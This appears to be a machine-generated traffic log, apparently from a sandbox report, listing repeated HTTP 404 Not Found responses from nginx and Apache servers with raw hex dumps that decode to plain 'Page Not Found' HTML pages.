Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 12:14:33 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 12:14:36 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 12:14:38 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 